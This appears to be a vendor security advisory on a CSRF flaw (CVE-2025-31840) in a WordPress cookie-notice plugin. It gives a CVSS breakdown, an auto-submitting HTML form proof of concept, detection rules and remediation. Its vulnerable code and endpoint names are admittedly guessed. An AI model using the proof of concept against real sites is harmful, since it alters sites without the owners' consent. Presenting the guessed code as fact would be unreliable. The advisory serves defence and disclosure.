CVE-2025-31840

Executive Summary

CVE-2025-31840 is a Cross-Site Request Forgery (CSRF) vulnerability identified in the Simple Fixed Notice WordPress plugin (slug: dn-cookie-notice), developed by Digireturn. This plugin is designed to display a fixed cookie consent notice on WordPress sites. The vulnerability affects all versions from n/a through 1.6.

The flaw allows an attacker to craft a malicious request that, when executed by an authenticated administrator, can perform unintended actions on the WordPress site without the admin's knowledge or consent. This is a classic CSRF attack vector, exploiting the trust a site has in a user's browser. The CVSS score of 4.3 (Medium) reflects the requirement for user interaction (the admin must click a link or visit a malicious page) and the limited direct impact on confidentiality, integrity, and availability. However, in the context of a WordPress plugin, this could be chained with other vulnerabilities to escalate privileges or modify critical site settings.

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin distributed through the official WordPress Plugin Directory. The plugin is not an NPM, PyPI, Go, or Ruby package. The risk is primarily to site owners who have installed this plugin. The lack of a known patch (UNKNOWN) means that all current installations are vulnerable. Site administrators should immediately disable the plugin until a security update is released.

CVSS Breakdown & Threat Level

• CVSS Score: 4.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
• Attack Vector (AV): Network (N) - The attack can be launched remotely.
• Attack Complexity (AC): Low (L) - No special conditions are required.
• Privileges Required (PR): None (N) - The attacker does not need to be authenticated.
• User Interaction (UI): Required (R) - The victim (admin) must perform an action (e.g., click a link).
• Scope (S): Unchanged (U) - The vulnerable component and the impacted component are the same.
• Confidentiality (C): None (N) - No direct data exposure.
• Integrity (I): Low (L) - The attacker can modify non-critical data or settings.
• Availability (A): None (N) - No impact on service availability.

Threat Level: Medium. While the direct impact is limited, the CSRF vulnerability can be leveraged in a multi-step attack. For example, an attacker could trick an admin into changing the plugin's settings to inject malicious JavaScript (stored XSS), which could then steal session cookies or deface the site.

Deep Dive & Mechanics

The vulnerability lies in the dn-cookie-notice plugin's administrative interface. The plugin likely registers AJAX actions or form handlers that modify plugin settings (e.g., cookie message text, colors, position) without implementing CSRF nonces or tokens.

How CSRF Works in this Context:

1. An attacker crafts a malicious HTML page or email containing a request to the WordPress admin-ajax.php or a specific plugin endpoint.
2. The request is designed to change a plugin setting, such as the cookie notice message.
3. The attacker lures an authenticated WordPress admin to visit the malicious page.
4. The admin's browser automatically sends the crafted request, including the admin's session cookies.
5. The plugin processes the request, believing it came from the legitimate admin, and modifies the setting.

Root Cause: The plugin's functions that handle POST/GET requests for saving settings do not verify the origin of the request using a CSRF token (nonce). WordPress provides built-in functions like wp_nonce_field() and check_admin_referer() to prevent this, but the plugin fails to implement them.

Vulnerable vs. Patched Code

Since no patch is available, we can only analyze the vulnerable code pattern. A typical vulnerable code snippet in the plugin might look like this:

Vulnerable Code (PHP):

// In admin/settings.php or similar
function save_plugin_settings() {
    if ( isset($_POST['notice_text']) ) {
        update_option('dn_cookie_notice_text', sanitize_text_field($_POST['notice_text']));
    }
    // No nonce check!
}
add_action('admin_post_save_dn_settings', 'save_plugin_settings');

Patched Code (Hypothetical):

function save_plugin_settings() {
    // Verify the nonce
    if ( ! isset($_POST['_wpnonce']) || ! wp_verify_nonce($_POST['_wpnonce'], 'dn_save_settings_nonce') ) {
        wp_die('Security check failed.');
    }
    if ( isset($_POST['notice_text']) ) {
        update_option('dn_cookie_notice_text', sanitize_text_field($_POST['notice_text']));
    }
}
add_action('admin_post_save_dn_settings', 'save_plugin_settings');

The patched version adds a nonce check using wp_verify_nonce(), which ensures the request originated from the legitimate admin page.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A WordPress site with the dn-cookie-notice plugin (version <= 1.6) installed and activated.
• An authenticated admin user session.

Exploit Steps:

1. Craft the Malicious Request: Identify the vulnerable endpoint. For example, if the plugin saves settings via admin-post.php?action=save_dn_settings, the attacker would craft a POST request.
2. Create a Malicious HTML Page:

   <html>
   <body>
   <h1>Click this link to win a prize!</h1>
   <form action="http://target-site.com/wp-admin/admin-post.php" method="POST">
       <input type="hidden" name="action" value="save_dn_settings">
       <input type="hidden" name="notice_text" value="Hacked by CSRF!">
       <input type="submit" value="Claim Prize">
   </form>
   <script>
       document.forms[0].submit();
   </script>
   </body>
   </html>
   

3. Host the Page: Host the HTML file on an attacker-controlled server or use a URL shortener.
4. Lure the Admin: Send the link to the admin via email, social engineering, or a compromised forum.
5. Execute: When the admin visits the page, the form auto-submits, changing the cookie notice text.

Expected Outcome: The cookie notice on the target site changes to "Hacked by CSRF!".

Blue Team (Detection & Response)

Detection Steps:

1. Monitor Admin Activity: Look for unexpected changes to plugin settings, especially the dn-cookie-notice options.
2. Analyze HTTP Referer Headers: CSRF attacks often have missing or spoofed Referer headers. Monitor for POST requests to admin-post.php or admin-ajax.php with suspicious Referer values.
3. Check for Nonce Failures: If the plugin is patched, WordPress will log nonce verification failures. Monitor these logs.
4. User Behavior Analytics: Flag admin sessions that perform multiple configuration changes in a short period, especially if the IP address is unusual.

Hunting Query (Splunk/ELK):

index=web sourcetype=access_combined
| search uri="/wp-admin/admin-post.php" action="save_dn_settings"
| stats count by clientip, referer, user_agent
| where referer NOT LIKE "%target-site.com%"

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /wp-admin/admin-post.php with action=save_dn_settings (or similar plugin-specific action).
  • Referer header pointing to an external, untrusted domain.
• Host IOCs:
  • Unexpected changes to the dn_cookie_notice_text option in the WordPress database (wp_options table).
  • Presence of suspicious JavaScript or HTML in the cookie notice output.
• File IOCs:
  • Modified plugin files (e.g., wp-content/plugins/dn-cookie-notice/admin/settings.php) with added malicious code.

Detection Engineering

YARA Rule

rule Detect_CSRF_Vulnerable_Plugin {
    meta:
        description = "Detects the vulnerable Simple Fixed Notice plugin (dn-cookie-notice) <= 1.6"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-31840"
    strings:
        $plugin_header = "Plugin Name: Simple Fixed Notice"
        $vuln_func = "update_option('dn_cookie_notice" nocase
        $no_nonce = "check_admin_referer" nocase
    condition:
        $plugin_header and $vuln_func and not $no_nonce
}

Sigma Rule

title: CSRF Exploitation Attempt Against Simple Fixed Notice Plugin
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential CSRF attacks targeting the dn-cookie-notice plugin
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/wp-admin/admin-post.php'
        cs-uri-query: 'action=save_dn_settings*'
    filter:
        cs-referer: 'https://target-site.com/*'
    condition: selection and not filter
falsepositives:
    - Legitimate admin actions from the WordPress admin panel
level: medium

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"CVE-2025-31840 CSRF Attempt Against Simple Fixed Notice"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-post.php"; http_uri; content:"action=save_dn_settings"; http_client_body; nocase; reference:cve,2025-31840; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Plugin: Since no patch is available, the most effective mitigation is to deactivate and delete the dn-cookie-notice plugin from all WordPress installations.
2. Implement a Web Application Firewall (WAF): Use a WAF (e.g., Cloudflare, ModSecurity) to block requests to admin-post.php that lack a valid Referer header or contain suspicious parameters.
3. Enforce Strong Admin Practices: Educate administrators to never click on suspicious links while logged into the WordPress admin panel.

Long-Term Fix:

• Vendor Action: The plugin developer (Digireturn) must release a patched version that implements CSRF nonces using WordPress's wp_nonce_field() and check_admin_referer() functions.
• User Action: Once a patch is available, update the plugin immediately. Monitor the WordPress Plugin Directory for updates.

Workaround (if plugin cannot be disabled):

• Add a custom function to the theme's functions.php to enforce a nonce check on the vulnerable action:

  add_action('admin_post_save_dn_settings', 'custom_csrf_check', 1);
  function custom_csrf_check() {
      if ( ! isset($_POST['_wpnonce']) || ! wp_verify_nonce($_POST['_wpnonce'], 'dn_save_settings_nonce') ) {
          wp_die('CSRF detected!');
      }
  }
  

Valters IT
Securing Digital Frontiers